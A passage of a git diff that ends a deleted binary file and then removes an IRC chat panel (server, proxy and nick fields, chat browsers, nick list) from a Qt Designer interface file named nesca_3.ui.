zjvPKUhtGujxcL&?&mDLz@p$~|%j4JA=zZK=4)^h^VUN=O_3`l#_?h^hnD}bhfBS9q z()Sa(!+(dL4gUi^5dZCYJ~#^AkKAeSC)X(DJ_B!n&jPsmPZE#%yH_sxe2re8)lVtS zX9xT@h4-h<of0pf&u(z%b0FOL9E!j5=>~T`m%#0JB;3C4f~$Wp@$&gRj$WU);Lhhu zxbs<ozw2l9QwwvBT<5bP-1*c>yh^5bKD)x5&rxvu?E<&20dVz$6EC07)#&xP6YhK- zgFBzO_&cAs;LhhWxbyi6f9JDW&(eB!K3l`>w+Y<7TEW#Hop||tI-u9*T)6WY33ons z;qQE=z@5*NaOd+Z{?6wExbyiPZokz|E6vlswt}nQG4b;G?22BWqu|b`7u@+=jKA}_ z0`7cnf;*pE@pnEm;Lhg_xcz<#x36E}>R0bom}mKX)=4~$cYPYbozDSq=hGg4=hGSP zeEPzj&)N7ppKIaH=RUaoJ^{C{*Wl_GC0;(CCFu33e0phpI-f1z&S%HO!{7Pr3U@yH zz@5*2_&cBD;m&6O+<q^E+t<x-^|vQpKA-#0>+=%a`7DMzpYQQ^KEJ`8&);z8Q>Axl zzc`;Q;m&7&xc#<;+gA^``aX%5&*wb!`iz1*pDA$X^91~?wMy4l&m~?hYx`{Yd+7as z%O`NJSHFdOoxBo$a@A69l|F?zNA3V}YbPG(6R(r&!_Dm~U$f+Y7ToW@ou7E*o<r_P z^!9rT+}z3V?({Va-UB`d?tI>cJD(2|k2=q#&fm~GpTFVOxz8DyLAJ#_eI9W*-1)Ri zJaW$?w-<Wn(;sf`5V-TX0q%Up!JW@Exbt~5@u+hkb-s??`Me9a&JFu!2H93VpL%fT zvs2=cdp@}bpm#p4;pUzQcRqdK&gWdX^BD?vKG!84bzVT7lhHe$2jSNFot)!qCEWQ` zIWwkNct6gC<Zh98%-Q*D3pckZ-1!^?cRokKoljS|KmR%{@tDs=)Hwvb^BD%W&KKm& z=WV$2`7rUwy_npe(L0~N;O4H`FEhxtn5X^Lg8ROJtrL&jLFDd@-hTIon|qO*ey@ew z?~RE^?j_{jkKTTtfSda&-1h}6g8ROJC2-#t@FU#!1+3mbD=^z)p1v=j2Hf`rYzFsz z0XxEdU%<ZbOPRwF@D)5>oCNp%0)64WU*ICR_eH!C?mD>z?s?<(#AAOArq0LFyH1{k zyTAUDvrg7KE2dnSv+HD|#3OeIxjUhEo$LlTw-wy;#&K}Z8z;k^Pk*@c8JKv~c^P$% zLhpQTg<I!BIrI4f?tGRe9=Vs3TjlHwWLx=pbzQi*Tfv=ABe?U~3+{Yc!#%Gaop{uF z1$FjD?|jaNTjx|c^LZNXd|pgEa<3%!L-ekn&*A2N54YdS17gaBIeT7REAhy^irj6` z+wYEWb5D`e@40aMy*Tm69ZK$v=<Rnb+}x>f&#O<tJ+Hn1_q_TR-1F)ZxaZX$;GS3i zgnM3H=bV^+Vg8<1w}g9M-5KtAwFTVs>QQjdt0%!dul9tyPR@sWTwI!X?60fYU$>%n zo!kL;e|;!toh(T_o<I8jtYzqZf7Tl3#x(!;ys;kK+>H{C`iD{fPUzR8p55U3G>1F4 zqu|%z-#+ok9S-k@-nk8goBObwI%g#wbNiE@gUmti+&+MNe0>Ht_h-1r#Tw^jf!S7m zy|D@WTKe4{J_5cA+<6`d_wlQB;xW(b@acixdG>+Z*S&J)ITP;r>gmKIcO<!Qqj#Pk z!Oi_1?&H@VaObejz?gDj&K{2&Bp&r#PdyFMJBOxl>p4@-94>`BhpQ5g^|pfbc0GF6 z+a$R2nGUy}S#akt5AGb^N<8K;ia9Jr?;L)Co7?34%pluhJ^Ouz{o&5x(8Oa7e=&!4 z=$%6^xO3<ax1I~(&fz+^uXh@qc+BAj<}e+-bC?M?_a`~)VYLe~<7|uhIEQM9NA8W} z)<JK-4dCYP3b)^b;r4rE;*on3xjoU_@0oCO?~~K-<8b?ZCh^D}P3}AB?e}B2xnINW zcO~3@t6Z1`W?SUmOm6MOW53vMeYm+@<@DPRZolUx9=W%WI|9A^j)t2%0dBuD;P(4O z;*mRs+=b}v_d~e3wJypGvaS5M-X3nhjS`RCTgg2Lz5N~uH@5@a*SVdN!~5s(i*xwZ zIsB#^J~4+ski#F(;V<OyH*)xgIsEG!{!0$8d~wBYtk{pvbG;nCSq|SWhwqZZ_l3J| z4~P5unRbcC`niqu(+9olb^zS<GfmEM`Y8Tm@qZP)>vJJo|BvDJwH)sIRew)B`Wi>> z27^lb#lAL&n|qv`zD|YvKGXBy+w%RT!Eo!p0Y08OZ%sVvza2gUz4bo{xBlPc)L;3M z(j2U3L%8*9o_N$VfqI&vx1MHj>p4$OJ%i!aa~<64sL_c>Jrk*CI(qAw3Adh~<kYj; zrKS0JzO9yc<laGU9rUi}25@tCh1+jSxcwfIc;wzmZddg7+Y4^)U2^(;7;e9_5|7-w z$bAF7{k{h`_cOTtE{EIi?}<n5-Q;dCI0M;Me*LgH+}z{j^xFe&zr7QW+<V9!g5G|I z!Ogu9ZohZH?RRqGk$W$>&!cz$&V`%12=43uHysjF``_z|`f%s4bK+6YB<g8}-Z>lr zx1LV$$@rWC_wliR4!<~uU!B8m%Hb1p_yak77W_Wy|4$BIki(bc@ZWOy+Lu-Au8MVT z?p8UxNe(|Shquq+r{?gpbNFRBd~^<<oWp0p*XB5V8h*d?hfjeofIqWF>GcV}z`Mg& zySy}K_1nVLH-W1^8m_)GT>T|*^~2%nAAqZ$1y}z8T>a;8^=n>HnuGe9aP_;u)$a>e z-wCe17yJSC<Js_)Yn1lm#qg=<hr!j~oWt+R;Sc8U$8-3zIecyoUzo!`&Eem}?RUUc zrTyjkb}-!e4}))2wKUJ0;p!*B)jtAP|2$m%>u~iS!PS2YSN{iG{hC8db5Oq#Tzzf0 z`i5}zd%)GVf~#)>SKkS)z8Cx->mTlVz8LO$7zS5=a}K{Nhd-FZAJ5^>=J2^Wd|?j% zG>3l=x8L93L)Iv*=c-qi*2Bs0XRj%7e~vbI_`mZbMwGb6S0}js%dao#^>27XiR;r0 zuFp`o`df1NeQ<rA9bL+`p3mU={{+{k|IH;I^@HK+=fl;11XsTzhqt-q-*Y>|_2~;Y zcTf%=0oP|dT%V~qd^TL4`EY$c%Hhl4`mBQMQ+>?8&!;wApGI(fTIBFHaD6(%_34|# z2f_6j0oP}I4xb9wXEt1)`8oU}xIW9^`mD;~)o(4$U!U4=eH!KP7I1yq!1d{z!~4SZ z83fm71YG@ixcaF%e0C0>57+-Axc<v>_$s(Q)o&}!U!U4Jyb)ZV7I1yq<nYdLefq-n z8I;3E!1Wmq*Jo-DpAFY%K3t!Va`-a1KC9sRR3Do&f4Dx4;QF-4;cejhbcXBGH-`^` z>oWqb&v>}{sc`kPbNKum{t;aNWpMph<?!m`O7qvJHe8=ZIlKj2pEhuPI_L1daD4{B z^%;@F$HVoR3fE_L4xbO#=Oeg2%X0WCxIWd#m*%fe?Ht|+u1^cNK5cS%XShCn;ra~9 z;UnPsjECzpHHXiJ>oXs&&qr|e%i!u)<?!ma=gc3je<Qg5Epm7pxIUfX`t;4=gW&p% zfa^0phfjs;GaIhY{2cxfT%Todeb$`t?{nTHhu4Se-vO?FFSz=v;p)f0)jtkb|1w<t zA8_^6CRVE0s${>bKN_ySYYy)P_xb611^bHc>-OgPX?^%3Yn7hQev$ZU*`M*NQ~Z`~ zTNM7N@R@<WEBrC|x$v3rL2&y@-!852e;j>!8ePF>!PC>w3U0r(@qZZo1&NpU)e?Pk zz7Jfxa^VZ{^N5+u?Zm`mfBAjI74R1LY>?&``W4hu7w&v^gX_N+-1)SEJD(%q&Zj}4 zt%|w1-@C!B|Lz?A2;6n$I$13nUh%${d!Ton91eF5ZQ=HN0^EMP!2e(NyDzz}pG)A* zb9Un8>uLph_xnMts~1^619JFaxa;kDxO2V}Ztf(w^Pd5C{!hZ4|No!Q-xXWle9~^O z6yvLv{TjJZkre(6-XlBz6t_C*FL8LML%f1CE#r04zl+CFQQsx;9_h~_Pj8#5bZHqM znf{#~t}8OTQO^wY;7U)yv(w>!w|VfY|D}~GEre&w{J+~0cpNjuZE5;T)W3ESW`F(# zUkAQMTA!g`7rqg^_*fZV-U?nFeM5M7O-Nrmw2WVx{@tgHcZvU$ZRfyi7Es0SQ{d~v zAAyIyIHNi64bZ;|4}G!cDk(qyh+m7-zt@9@zF1RJxJ$D+JhVGzzhWys?!=cjt{{cq zPD8&5d?Y;9e{mZF5C2B#3&ncl%f-i<_)?YC3xeQV7XDiC`+D&3IWGA&g>QwvIXv_y zC4CQg@fsuk+ZpiC_e%P)@U26bw!7h>zbNS!!0Qyn*`FW6Lq9y}H;N02Y>R)!uh)}q zD|qPFPX|XUc<5WEgY`&w=#NkO0q_d{q`w#*`kqNY10MS6i9ZDo{dVb~Tr2s7Hhzsv zJHKfezjU+gi`jN)8K01Nr!qc0@l)WD`$fvV5nj>P<`wpp#=%3sD(Sz1hrVrEEX(1c z-!>g!_0q|%*w^Bn3jRC8Lq9L+Pk_h&Y0|i$?+UM|C+VlaL*Meig8mVB=s!y*t;O)r zcR9GA{~8|pjcXM6mg%HitiR5o1->0T^v#q01b9XLtqb}-WxQ?T=fK0~%;Yl#9zKhY zDEK@A5B&p4{}nv+Bij`8%i*D4nDn*M3G=^wwJqrD!b86@>Ep8rVk_z=99{T#-19uP z;GwS<zhzszcPX}_zUDE7f5&U@V=L;LCH=eb_}ZoID`b^EfroTp($`84entN#9Si!p z@Q^M@`nK@+KP@{I^c~<K-5@>4+y$?wr%OTqWEo$a_<}NCvui>BAw2xAPX4vh`Jh;T z+a3jdU3lnUN%|Au74@82(07H0ereKAfLHW;dO<%K9{N+#gXAK3=qvRp=s$;tet6Qi zOy`4Q{jZ;0&>sd5{Y4uV_(kxFdM+yPE8w9Ykseg1!$ZF~=^uxOenQg!4iA0J^u)Sy zI!{!vjK7rhP2usiI_U{Ymoom$=<JKxc1sy=n|^LO5gzp{N&fG`!@un<;ga1`u8faN zyjHr{3T^yaoOr`BUMc-NtYsOmllZY^yk+7i!K2O<sm{yck^4;2-&MwIrk?}NEaP<& zpI644B)$+Hx$C5hptaKZxY%!(+p;fa+xqa(H%R(p;qiZJrVH>sWxPq^=fK0~=Hzo1 zykgEt|701jIU)N`*|wmJx13OcD}7hS`z2l_oiB@hO-OvpGX8qv+rgvG2U4B=;Ndm> z&g{2rJ0BkU50id6JoGK^4t1qUkHbU%chXmhe`H&+&etau{=FVN{<=@PI6VPgQO}fu zzAHTbdS}v4fmhTsy`X;t9)JBP=_{r4)_?1HxS+2F5B+AF7I;f|{GTq56!>BA(C?e{ zH^M_-=gES896a;`lm07s=qtTg&@YFF{@iq()-0VDi}lx8QqUg+5B=@wB7G!0{!h&> z3;Hqe(EpV5OW+mtd{fXbg@^u-Eem|Fblxr2vv_HN?+*|Cl%yXHkN@+`PX+x=@X+s> zuJ;zhL%(=MLH~0ZFFpZX2@jtyl26lg9xB$^Z)L%!IXv_$lfHPq4}IN&wBq;4W%{n^ zNy$uj{GZn=zOzuN(zEdJKPBmZhHr!aN_gn&Y+d-`y6Jcd?`_d<3=e(1q^}2$|MScS zg(s#v!$aR7>AS!~zj(`nz85_7?<f5Xc<9^KE9jqshrVl_?6+)ND;<BKtzSV3zpW1s z{o8d4yc2x;0;>4^6nN-A-Lvq;0q~0YcPi9#F+B8NB>gk+1_g_X-+zYh0AC3YpDp() ze6e0Sjw3UEb!n953=e&?q%R)#q1`e2RoteakFV8fQ}B5N9zM19P5&dE5B{4QH}{RN zm+?yzuL}>K#my?@m5zmn*Yq9*pOfIB|10T>&liiii%%)&$CT-7H81%84v+uy`e_Ay z<;@CT4;KE{CVdxpe63RNg1#3#^q(aCOYqRQJfon010MR_TV%gw+m@Rb{tRvW>UVBI zza2dENA6e9^@E3g`lSW^`S8#;Z&}dKfrq}!(1QL|c<4V!`daC{TdZf~=z_j3JoI}V zko}fzec<tb`i(2-&w+=2TGBrQ4}Ht~3;LJgp<i-f_FJ}Xl+M$kjb9^QD(H`Z?-atc z9S0Ae%MUJmVFEmSCd@7POooSkO45G?Z&<LX_`O~_ABV@z@SWk|GcWlZ3y=RZeSRVL zBzWk*O8QCgM))s*SJeMW!DlHveCixh_)pE!c|Ej^@i_<{`aVfN5?)c~R|Wqu@X+6w z^h@AP@LviK{gkBNE1jpqJASqOw&1@%JoF2aemFez6P6Y9i{No67r#&b13dIK|0?MJ zfQNsjL*ut>-PNi1qoS4yeU11%`>fbH6@OIl3jJY)f8PiXW!sGk`f>2kznS!l;Gt}} RSwa6fJoNoqXTN3J{{h`KuF?Pi literal 0 HcmV?d00001 diff --git a/nesca_3.ui b/nesca_3.ui index 3e11c34..4e0d16f 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -3120,797 +3120,6 @@ background-color: #000000;</string> <zorder>rVerLabel</zorder> <zorder>NSTrackStatusLabel</zorder> </widget> - <widget class="QWidget" name="widgetIRC" native="true"> - <property name="geometry"> - <rect> - <x>500</x> - <y>44</y> - <width>498</width> - <height>730</height> - </rect> - </property> - <property name="palette"> - <palette> - <active> - <colorrole role="Button"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - <colorrole role="Base"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - <colorrole role="Window"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - </active> - <inactive> - <colorrole role="Button"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - <colorrole role="Base"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - <colorrole role="Window"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - </inactive> - <disabled> - <colorrole role="Button"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - <colorrole role="Base"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - <colorrole role="Window"> - <brush brushstyle="LinearGradientPattern"> - <gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode"> - <gradientstop position="0.000000000000000"> - <color alpha="255"> - <red>16</red> - <green>16</green> - <blue>16</blue> - </color> - </gradientstop> - <gradientstop position="1.000000000000000"> - <color alpha="255"> - <red>0</red> - <green>0</green> - <blue>0</blue> - </color> - </gradientstop> - </gradient> - </brush> - </colorrole> - </disabled> - </palette> - </property> - <property name="styleSheet"> - <string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string> - </property> - <widget class="QLineEdit" name="ircServerBox"> - <property name="geometry"> - <rect> - <x>83</x> - <y>30</y> - <width>163</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string> - </property> - <property name="text"> - <string>addr.ne.jp</string> - </property> - <property name="maxLength"> - <number>128</number> - </property> - <property name="alignment"> - <set>Qt::AlignCenter</set> - </property> - <property name="placeholderText"> - <string>IRC server here</string> - </property> - </widget> - <widget class="QLineEdit" name="shoutBox"> - <property name="geometry"> - <rect> - <x>10</x> - <y>705</y> - <width>469</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="toolTip"> - <string/> - </property> - <property name="styleSheet"> - <string notr="true">color:rgb(124, 124, 124);background-color: rgb(36, 36, 36);border:1px solid rgb(226, 226, 226);</string> - </property> - <property name="text"> - <string/> - </property> - <property name="maxLength"> - <number>256</number> - </property> - <property name="alignment"> - <set>Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter</set> - </property> - <property name="placeholderText"> - <string/> - </property> - </widget> - <widget class="QLineEdit" name="serverPortBox"> - <property name="geometry"> - <rect> - <x>250</x> - <y>30</y> - <width>82</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string> - </property> - <property name="text"> - <string>6667</string> - </property> - <property name="maxLength"> - <number>5</number> - </property> - <property name="alignment"> - <set>Qt::AlignCenter</set> - </property> - <property name="placeholderText"> - <string>IRC port here</string> - </property> - </widget> - <widget class="QLineEdit" name="ircNickBox"> - <property name="geometry"> - <rect> - <x>369</x> - <y>30</y> - <width>117</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string> - </property> - <property name="text"> - <string/> - </property> - <property name="maxLength"> - <number>16</number> - </property> - <property name="alignment"> - <set>Qt::AlignCenter</set> - </property> - <property name="placeholderText"> - <string>Your nick here</string> - </property> - </widget> - <widget class="QPushButton" name="IRCConnectBut"> - <property name="geometry"> - <rect> - <x>220</x> - <y>85</y> - <width>75</width> - <height>23</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true"/> - </property> - <property name="text"> - <string>Connect</string> - </property> - </widget> - <widget class="QTextBrowser" name="ircText"> - <property name="geometry"> - <rect> - <x>10</x> - <y>140</y> - <width>469</width> - <height>556</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: #AFAFAF;background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);</string> - </property> - <property name="locale"> - <locale language="Chinese" country="China"/> - </property> - <property name="frameShape"> - <enum>QFrame::NoFrame</enum> - </property> - <property name="frameShadow"> - <enum>QFrame::Plain</enum> - </property> - <property name="undoRedoEnabled"> - <bool>false</bool> - </property> - <property name="readOnly"> - <bool>true</bool> - </property> - <property name="html"> - <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> -<html><head><meta name="qrichtext" content="1" /><style type="text/css"> -p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> -<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> - </property> - <property name="acceptRichText"> - <bool>true</bool> - </property> - <property name="cursorWidth"> - <number>5</number> - </property> - <property name="textInteractionFlags"> - <set>Qt::TextBrowserInteraction</set> - </property> - <property name="openExternalLinks"> - <bool>true</bool> - </property> - <property name="openLinks"> - <bool>false</bool> - </property> - </widget> - <widget class="QLineEdit" name="ircProxy"> - <property name="geometry"> - <rect> - <x>83</x> - <y>55</y> - <width>163</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string> - </property> - <property name="text"> - <string/> - </property> - <property name="maxLength"> - <number>128</number> - </property> - <property name="alignment"> - <set>Qt::AlignCenter</set> - </property> - <property name="placeholderText"> - <string>Proxy here</string> - </property> - </widget> - <widget class="QLineEdit" name="ircProxyPort"> - <property name="geometry"> - <rect> - <x>250</x> - <y>55</y> - <width>82</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221);</string> - </property> - <property name="text"> - <string/> - </property> - <property name="maxLength"> - <number>5</number> - </property> - <property name="alignment"> - <set>Qt::AlignCenter</set> - </property> - <property name="placeholderText"> - <string>Proxy port here</string> - </property> - </widget> - <widget class="QPushButton" name="IRCCheckProxyBut"> - <property name="geometry"> - <rect> - <x>337</x> - <y>55</y> - <width>149</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true"/> - </property> - <property name="text"> - <string>Check proxy</string> - </property> - </widget> - <widget class="QTextBrowser" name="ircRaw"> - <property name="geometry"> - <rect> - <x>10</x> - <y>140</y> - <width>469</width> - <height>556</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="styleSheet"> - <string notr="true">background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:rgb(125, 125, 125);</string> - </property> - <property name="locale"> - <locale language="Chinese" country="China"/> - </property> - <property name="frameShape"> - <enum>QFrame::NoFrame</enum> - </property> - <property name="frameShadow"> - <enum>QFrame::Plain</enum> - </property> - <property name="undoRedoEnabled"> - <bool>false</bool> - </property> - <property name="readOnly"> - <bool>true</bool> - </property> - <property name="html"> - <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> -<html><head><meta name="qrichtext" content="1" /><style type="text/css"> -p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> -<p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> - </property> - <property name="acceptRichText"> - <bool>true</bool> - </property> - <property name="cursorWidth"> - <number>5</number> - </property> - <property name="textInteractionFlags"> - <set>Qt::TextBrowserInteraction</set> - </property> - <property name="openExternalLinks"> - <bool>true</bool> - </property> - <property name="openLinks"> - <bool>false</bool> - </property> - </widget> - <widget class="QPushButton" name="nickShowBut"> - <property name="geometry"> - <rect> - <x>481</x> - <y>140</y> - <width>16</width> - <height>556</height> - </rect> - </property> - <property name="toolTip"> - <string>Stalkers online</string> - </property> - <property name="whatsThis"> - <string>Stalkers online</string> - </property> - <property name="styleSheet"> - <string notr="true">border: 1px solid rgb(216, 216, 216); -color: rgb(216, 216, 216); -background-color: #000000;</string> - </property> - <property name="text"> - <string notr="true"><</string> - </property> - </widget> - <widget class="QListWidget" name="nickList"> - <property name="geometry"> - <rect> - <x>329</x> - <y>145</y> - <width>147</width> - <height>0</height> - </rect> - </property> - <property name="styleSheet"> - <string notr="true">background-color: rgba(0, 0, 0, 0.5); -color: rgb(212, 212, 212);</string> - </property> - <property name="frameShape"> - <enum>QFrame::Panel</enum> - </property> - <property name="frameShadow"> - <enum>QFrame::Plain</enum> - </property> - <property name="resizeMode"> - <enum>QListView::Adjust</enum> - </property> - <property name="sortingEnabled"> - <bool>true</bool> - </property> - </widget> - <widget class="QLineEdit" name="topicLine"> - <property name="geometry"> - <rect> - <x>44</x> - <y>115</y> - <width>435</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <pointsize>7</pointsize> - </font> - </property> - <property name="styleSheet"> - <string notr="true">background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:orange;</string> - </property> - <property name="text"> - <string/> - </property> - <property name="maxLength"> - <number>256</number> - </property> - </widget> - <widget class="QPushButton" name="IRCUTFMode"> - <property name="geometry"> - <rect> - <x>440</x> - <y>80</y> - <width>48</width> - <height>12</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="toolTip"> - <string>Codepage</string> - </property> - <property name="whatsThis"> - <string>Codepage</string> - </property> - <property name="styleSheet"> - <string notr="true">background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40); -color: rgb(0, 214, 0);</string> - </property> - <property name="text"> - <string>UTF-8</string> - </property> - </widget> - <widget class="QPushButton" name="IRCCP1251Mode"> - <property name="geometry"> - <rect> - <x>392</x> - <y>80</y> - <width>48</width> - <height>12</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - </font> - </property> - <property name="toolTip"> - <string>Codepage</string> - </property> - <property name="whatsThis"> - <string>Codepage</string> - </property> - <property name="styleSheet"> - <string notr="true">background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); -color: rgb(71, 71, 71);</string> - </property> - <property name="text"> - <string> CP-1251</string> - </property> - </widget> - <widget class="QLabel" name="labelIPRange_2"> - <property name="geometry"> - <rect> - <x>20</x> - <y>30</y> - <width>56</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - <pointsize>8</pointsize> - <weight>50</weight> - <italic>false</italic> - <bold>false</bold> - <kerning>false</kerning> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string> - </property> - <property name="text"> - <string>IRC SERVER</string> - </property> - </widget> - <widget class="QLabel" name="labelIPRange_3"> - <property name="geometry"> - <rect> - <x>10</x> - <y>55</y> - <width>68</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - <pointsize>8</pointsize> - <weight>50</weight> - <italic>false</italic> - <bold>false</bold> - <kerning>false</kerning> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string> - </property> - <property name="text"> - <string>PROXY&PORT</string> - </property> - </widget> - <widget class="QLabel" name="labelIPRange_4"> - <property name="geometry"> - <rect> - <x>340</x> - <y>30</y> - <width>27</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - <pointsize>8</pointsize> - <weight>50</weight> - <italic>false</italic> - <bold>false</bold> - <kerning>false</kerning> - </font> - </property> - <property name="styleSheet"> - <string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string> - </property> - <property name="text"> - <string>NICK</string> - </property> - </widget> - <widget class="QLabel" name="labelIPRange_5"> - <property name="geometry"> - <rect> - <x>10</x> - <y>115</y> - <width>31</width> - <height>20</height> - </rect> - </property> - <property name="font"> - <font> - <family>Eurostile</family> - <pointsize>8</pointsize> - <weight>50</weight> - <italic>false</italic> - <bold>false</bold> - <kerning>false</kerning> - </font> - </property> - <property 